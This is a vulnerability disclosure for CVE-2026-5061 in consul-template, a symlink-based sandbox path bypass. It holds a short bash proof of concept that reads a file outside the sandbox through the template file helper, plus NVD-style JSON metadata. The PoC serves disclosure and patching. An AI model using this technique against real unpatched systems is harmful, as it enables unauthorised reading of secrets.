CVE-2026-5061

#!/bin/bash # PoC for CVE-2026-5061: Sandbox path bypass via symlink # Step 1: Create a sensitive file outside the sandbox echo "SECRET_DATA" > /tmp/secret.txt # Step 2: Create the allowed sandbox directory mkdir -p /tmp/sandbox # Step 3: Create a symlink inside the sandbox pointing to the secret file # This bypasses the path check as the link itself is inside the sandbox ln -s /tmp/secret.txt /tmp/sandbox/link_to_secret # Step 4: Create a template that uses the file helper to read the symlink echo '{{ file "link_to_secret" }}' > /tmp/template.tmpl # Step 5: Run consul-template (vulnerable version < 0.42.0) # The application will follow the symlink and read /tmp/secret.txt consul-template -template=/tmp/template.tmpl:/tmp/result.txt -once cat /tmp/result.txt

{"cve": {"id": "CVE-2026-5061", "sourceIdentifier": "[email protected]", "published": "2026-05-12T15:16:16.343", "lastModified": "2026-05-12T15:16:16.343", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The consul-template library before version 0.42.0 is vulnerable to a sandbox path bypass in the file template helper that may allow reading an out-of-sandbox file. This vulnerability (CVE-2026-5061) is fixed in consul-template 0.42.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "references": [{"url": "https://discuss.hashicorp.com/t/hcsec-2026-12-consul-template-vulnerable-to-sandbox-path-bypass-in-file-helper-through-symlink-attack/77414", "source": "[email protected]"}]}}